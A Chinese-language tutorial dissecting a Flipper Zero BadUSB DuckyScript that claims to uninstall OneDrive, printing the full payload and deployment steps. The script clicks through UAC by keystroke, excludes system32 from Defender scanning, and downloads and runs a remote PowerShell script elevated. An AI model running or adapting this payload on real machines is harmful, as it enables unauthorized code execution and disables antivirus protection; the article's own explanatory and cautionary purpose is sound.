Flipper Zero BadUSB 之 OneDrive 自动卸载 Payload 解析:DuckyScript 原理与 GoodUSB 部署实战
本文以 Flipper 仓库中 OneDrive_Removal 脚本说明 为主体,结合其同目录的 DuckyScript 载荷源码 uninstall_onedrive.txt,完整拆解"Flipper Zero 以 U 盘形态插入 Windows、自动提权并卸载 OneDrive"这一 GoodUSB 场景的实现链条。读完后你将掌握:DuckyScript 各指令(DELAY / GUI / STRING / 组合键)的逐行语义、UAC 提权的关键按键技巧、PowerShell 远程下载并执行脚本的一行式写法,以及将此类脚本导入 Flipper 并排错的完整流程。
脚本定位与文档说明
uninstall_onedrive 位于仓库 BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/ 目录下,是 UNC0V3R3D BadUSB 合集的 GoodUSB 分类成员(合集 README 的 Release History 显示 GoodUSB 文件夹自 v2.2 起加入合集)。该分类下的脚本定位为"对目标机器有益"的操作,例如卸载 OneDrive、精简系统预装应用等。
官方 readme 给出的核心信息如下,本文所有分析都以此为基础:
- 功能描述:This script will download a script that will remove the onedrive app from windows(脚本会下载一个 ps1 脚本,用于从 Windows 中移除 OneDrive 应用);
- 使用方式:plug and play(即插即用,无需手工干预);
- 功能步骤(Features):
- open powershell(打开 PowerShell);
- download ps1 script(下载 ps1 脚本);
- remove onedrive(移除 OneDrive);
- 反馈与支持:作者通过 Discord(UNC0V3R3D#8662)接收反馈与支持请求。
一个必须强调的事实是:OneDrive 的实际卸载逻辑并不在本仓库内。载荷本身只是一个"下载器",真正执行卸载的 uninstall_onedrive.ps1 在运行时从作者的外部仓库动态拉取(见下文第 4 节)。合集 README 也注明该合集是 "an archived version with some dead links/pics removed"(归档版本,部分死链已移除),因此在使用前应先确认远程 ps1 地址仍然可用。
合集 README 同时明确了使用边界:
This project is for educational purposes only! Please seek permission before running any of the scripts provided by me.
即:仅限教育用途,运行任何脚本前必须征得机器所有者同意;作者建议"为了安全起见,使用虚拟机测试脚本"。
完整 DuckyScript 载荷逐行解析
GoodUSB 脚本遵循合集 README 的约定:"All BadUsb-Scripts are written in the DuckyScript 1.0 language"(所有 BadUSB 脚本均使用 DuckyScript 1.0 编写),且"REM 开头的注释行通常解释了整个过程"。uninstall_onedrive.txt 全文如下(共 19 行,可直接复制到 Flipper 的 BadUSB 目录):
REM Author: UNC0V3R3D
REM Description: Uninstalls OneDrive.
REM Version: 1.0
REM Category: GoodUSB
DELAY 500
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
CTRL-SHIFT ENTER
DELAY 1500
SHIFT TAB
DELAY 500
ENTER
DELAY 1500
STRING Add-MpPreference -ExclusionPath C:\Windows\system32
ENTER
DELAY 500
STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/uninstall_onedrive.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit
ENTER
以下按执行顺序逐行说明。
1. REM 头部元信息块
REM Author: UNC0V3R3D
REM Description: Uninstalls OneDrive.
REM Version: 1.0
REM Category: GoodUSB
REM 是 DuckyScript 的注释指令,执行时被跳过。四行元信息(作者 / 描述 / 版本 / 分类)是 UNC0V3R3D 合集的固定规范——例如 GoodUSB 下的 win_debloat.txt 头部结构完全一致(Category: GoodUSB)。这个头部让使用者在 Flipper 上导入前就能通过文件名 + 头注释判断脚本归属。
2. 延时与打开 Run 对话框
DELAY 500
GUI r
DELAY 500表示等待 500 毫秒。合集 README 的 Troubleshooting 章节明确指出:DELAY后的数字单位是毫秒;若出现"脚本打开的窗口不对、文字打到了错误位置",通常就是延时过短,解决方法是调大延时(原文示例:DELAY 500→DELAY 700)。GUI r发送Win + R组合键,打开 Windows 的 Run(运行)对话框。Run 对话框是本载荷提权流程的入口。
3. 提权启动管理员 PowerShell
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
CTRL-SHIFT ENTER
STRING ...在 Run 对话框中键入powershell Start-Process powershell -Verb runAs。-Verb runAs是 PowerShell 的"以管理员身份运行"参数。- 关键点在
CTRL-SHIFT ENTER:普通回车(ENTER)在 Run 对话框中只会以当前用户权限执行;而在 Run 对话框中按 Ctrl + Shift + Enter 会弹出 UAC 提示并以管理员权限执行该命令。这是整个载荷能否获得系统权限的分水岭,也是 DuckyScript 类脚本利用组合键实现提权的典型手法。
4. UAC 对话框上的"确认是"
DELAY 1500
SHIFT TAB
DELAY 500
ENTER
UAC 确认对话框打开后,默认焦点落在"No(否)按钮上(Windows 安全设计的默认拒绝策略)。因此载荷使用:
DELAY 1500:等待 UAC 对话框渲染完成(1500ms 是典型的对话框等待量);SHIFT TAB:将焦点从"No"移动到"Yes(是)"按钮;DELAY 500+ENTER:确认提权。
这三行是"键盘驱动"处理 UAC 的标准序列——脚本无需鼠标,仅靠 Tab/Shift+Tab 在按钮间移动焦点即可完成确认。
5. 为 Windows Defender 添加排除路径
STRING Add-MpPreference -ExclusionPath C:\Windows\system32
ENTER
Add-MpPreference -ExclusionPath C:\Windows\system32 是 Windows Defender(Microsoft Defender)的 PowerShell 模块 cmdlet,作用是把 C:\Windows\system32 目录加入防病毒排除列表,使该目录下的文件不再被实时防护扫描。
需要注意这是一个明显放宽系统防护的操作:虽然本载荷的本意是保证后续下载的脚本与 OneDrive 卸载动作不被拦截,但把整个 system32 加入排除项会扩大攻击面。这正是合集 README 反复强调"运行前征得同意、建议在虚拟机中测试"的原因。在自己的机器、已授权的测试机或虚拟机上执行是可接受的演示,但不应在无授权的目标机器上执行。
6. 下载并执行远程卸载脚本(核心一行)
STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/uninstall_onedrive.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit
ENTER
这一行把 readme 中"download ps1 script → remove onedrive"两步压缩成一条 PowerShell 流水线:
New-Object System.Net.WebClient创建 .NET 的WebClient对象;| %{ ... }对对象执行脚本块:$_.DownloadFile('…uninstall_onedrive.ps1', 'script.ps1')把远程 ps1 下载到当前工作目录并命名为script.ps1;Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"以管理员权限新开一个 PowerShell 窗口执行该脚本——真正的 OneDrive 卸载逻辑(停止 OneDrive 服务、卸载应用等)在远程 ps1 内完成,本仓库不包含这些细节;- 末尾的
exit使当前会话在下载并拉起新窗口后自行结束。
从源码结构看,这个"下载并执行远程 ps1"的骨架在 GoodUSB 分类里是可复用的模板:win_debloat.txt 的 19 行结构与 uninstall_onedrive.txt 逐行对应,唯一差异是第 18 行下载的 ps1 文件名(debloat_windows.ps1)。这说明 UNC0V3R3D 把"提权 + Defender 排除 + 远程脚本落地执行"沉淀成了标准前奏,后续只需替换目标脚本 URL 即可派生新的 GoodUSB 载荷。
在 Flipper Zero 上的部署与运行
合集 README 给出的部署路径(适用前提:Windows 或移动端已安装 qFlipper / Flipper 官方 App):
- 从本仓库获取
uninstall_onedrive.txt(本仓库路径:BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/uninstall_onedrive.txt); - 通过 qFlipper 打开 SD Card → badusb,把文件拖入(原文步骤:"Open qFlipper --> SD Card --> badusb --> Move the files here");移动端则用 Flipper 官方 App 通过蓝牙同步;
- Flipper 端进入 BadUSB 分类,选中该脚本文件,按提示把 Flipper 用 USB 线插入目标 PC;
- 按 Flipper 的中间按钮开始执行,脚本即按上文流程在目标机自动运行。
排错要点(摘自合集 README Troubleshooting)
- 文字打到错误位置 / 打开了错误的窗口:多为
DELAY过短,把对应延时调大(如 500 → 700); - Flipper 报
ERROR: line 5之类的行号错误:最常见原因是命令之间存在随机空行;其次检查是否含有LOCALE ..命令(README 称其在 Flipper 上不能正常工作);再检查出错行行首是否有多余空格。
安全与合规要点
- 使用授权:合集 README 的使用协议明确"仅限教育目的",且要求"运行脚本前先征得许可",作者不对使用造成的损坏负责;
- 防护削弱副作用:本载荷会执行
Add-MpPreference -ExclusionPath C:\Windows\system32,即把系统目录整体移出 Defender 实时扫描范围,即使卸载完成后该排除项也可能保留,建议在受控环境中评估与清理; - 供应链依赖:实际卸载逻辑在运行时从外部 URL 下载(
…/uninstall_onedrive.ps1),本仓库只包含下载与执行的前奏;合集本身标注为归档版本(部分链接已失效),使用前应核实远程脚本地址有效性,并对下载内容做审查,避免"执行了看不见的代码"; - 测试环境:官方建议优先在虚拟机中验证 DuckyScript 载荷的时序(DELAY 取值依赖目标机响应速度,不同硬件/系统状态下 UAC 弹出时延不同)。
同模板脚本延伸阅读
GoodUSB 目录下与 uninstall_onedrive 采用完全相同"提权 + 下载远程 ps1"骨架的还有 win_debloat.txt(卸载预装应用)等,其各自的 readme.md 同样标注 plug and play 使用方式。理解本文对 uninstall_onedrive 的逐行分析后,这些同族脚本可以直接按同一套方法(REM 元信息 → Run 对话框 → Ctrl+Shift+Enter 提权 → SHIFT TAB 确认 UAC → Defender 排除 → 下载执行远程 ps1)进行审阅与复现。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust4.24 K638- DDeepSeek-V4.1-FlashDeepSeek-V4.1-Flash 是一个多模态混合专家(MoE)模型,拥有 5520 亿骨干参数,并支持最多一百万 token 的上下文长度。该模型原生支持图像和文本输入,并以自回归方式生成文本Python650
SlideSCIPPT插件,支持素材库、AI助手、一键添加图片标题,复制粘贴位置、一键图片对齐、一键插入Markdown(加粗、超链接等行内样式、代码块、LaTeX等块级样式)、便捷导出图片!C#180
hello-agents📚 《从零开始构建智能体》——从零开始的智能体原理与实践教程Python52774
new-apiAI模型聚合管理中转分发系统,一个应用管理您的所有AI模型,支持将多种大模型转为统一格式调用,支持OpenAI、Claude、Gemini等格式,可供个人或者企业内部管理与分发渠道使用。🍥 A Unified AI Model Management & Distribution System. Aggregate all your LLMs into one app and access them via an OpenAI-compatible API, with native support for Claude (Messages) and Gemini formats.Go22545
JeecgBoot🔥企业级低代码平台集成了AI应用平台,帮助企业快速实现低代码开发和构建AI应用!前后端分离架构 SpringBoot,SpringCloud、Mybatis,Ant Design4、 Vue3.0、TS+vite!强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE,显著的提高效率,又不失灵活~Java36351